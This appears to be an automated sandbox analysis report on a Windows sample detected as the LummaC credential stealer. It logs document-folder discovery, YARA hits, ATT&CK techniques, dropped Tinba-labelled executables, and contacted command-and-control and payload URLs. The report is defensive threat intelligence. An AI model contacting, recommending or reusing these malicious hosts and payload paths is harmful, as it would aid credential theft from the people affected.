Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1900549907.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: T4qO1i2Jav.exe PID: 5260, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: T4qO1i2Jav.exe PID: 5260, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	121 Registry Run Keys / Startup Folder	111 Process Injection	3 Obfuscated Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	Login Hook	1 Masquerading	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	211 Virtualization/Sandbox Evasion	LSA Secrets	351 Security Software Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Process Injection	Cached Domain Credentials	211 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
T4qO1i2Jav.exe	69%	Virustotal		Browse
T4qO1i2Jav.exe	68%	ReversingLabs	Win32.Spyware.Lummastealer
T4qO1i2Jav.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe	78%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	78%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe	78%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\pAXokq4A\Yau7CFuJ3hfnsdmh.exe	78%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\pAXokq4A\Zo4ZOmQUK81m492h.exe	78%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	78%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\pAXokq4A\mt5b5cRJXAGEr0y6.exe	78%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://gamertool.eu/fyCertificateChainPolicy	0%	Avira URL Cloud	safe
https://itsrevolutionmagnus.xyz/0%-	0%	Avira URL Cloud	safe
https://itsrevolutionmagnus.xyz/d	0%	Avira URL Cloud	safe
https://itsrevolutionmagnus.xyz/Shnnfd.exee	0%	Avira URL Cloud	safe
https://gamertool.eu/5	0%	Avira URL Cloud	safe
http://gamertool.eu/1	0%	Avira URL Cloud	safe
https://gamertool.eu/	0%	Avira URL Cloud	safe
http://gamertool.eu	0%	Avira URL Cloud	safe
http://gamertool.eu/	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/api(	100%	Avira URL Cloud	malware
https://gamertool.eu/N	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apider	100%	Avira URL Cloud	malware
https://itsrevolutionmagnus.xyz/Nkeeei.exeF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gamertool.eu	172.67.161.29	true	false	unknown
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
itsrevolutionmagnus.xyz	172.67.182.218	true	true	unknown
dare-curbys.biz	unknown	unknown	false	high
impend-differ.biz	unknown	unknown	false	high
zinc-sneark.biz	unknown	unknown	false	high
covery-mover.biz	unknown	unknown	false	high
formy-spill.biz	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
se-blurry.biz	unknown	unknown	false	high
print-vexer.biz	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
dwell-exclaim.biz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
formy-spill.biz	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
https://lev-tolstoi.com/api	false		high
print-vexer.biz	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx	false		high
https://gamertool.eu/	false	Avira URL Cloud: safe	unknown
http://gamertool.eu/	false	Avira URL Cloud: safe	unknown
impend-differ.biz	false		high
dwell-exclaim.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	hYDFhjqVouJ7cB7Z.exe.5.dr	false		high
https://player.vimeo.com	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://gamertool.eu/1	89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	T4qO1i2Jav.exe, 00000000.00000003.1868013441.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://itsrevolutionmagnus.xyz/0%-	T4qO1i2Jav.exe, 00000000.00000003.2083825827.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084009300.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2086102232.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	T4qO1i2Jav.exe, 00000000.00000003.1868013441.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/api(	T4qO1i2Jav.exe, 00000000.00000003.2058755769.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2097904446.0000000003B1A000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083688476.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083887831.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058900167.0000000003B13000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/watch?v=wjIuS_rQQsYeu	Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	msapplication.xml4.9.dr	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900u	T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000972000.00000004.00000020.00020000.00000000.sdmp	false		high
https://itsrevolutionmagnus.xyz/d	hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://microsoft.co	T4qO1i2Jav.exe, 00000000.00000003.2084043071.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2085945239.00000000009BA000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2059013399.00000000009B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	service_worker_bin_prod.js.17.dr, offscreendocument_main.js.17.dr	false		high
https://store.steampowered.com/points/shop/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	T4qO1i2Jav.exe, 00000000.00000003.1816105164.0000000003BA3000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B57000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1840812297.0000000003B57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://gamertool.eu	Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/error?code=50058	{856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	false		high
https://store.steampowered.com/privacy_agreement/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gamertool.eu/fyCertificateChainPolicy	89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000003.2124556979.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youtube.com/	msapplication.xml7.9.dr	false		high
https://support.microsof	T4qO1i2Jav.exe, 00000000.00000003.1816105164.0000000003BA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu/5	89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	false		high
https://itsrevolutionmagnus.xyz/Shnnfd.exee	T4qO1i2Jav.exe, 00000000.00000002.2085901381.0000000000992000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084081640.0000000000991000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	false		high
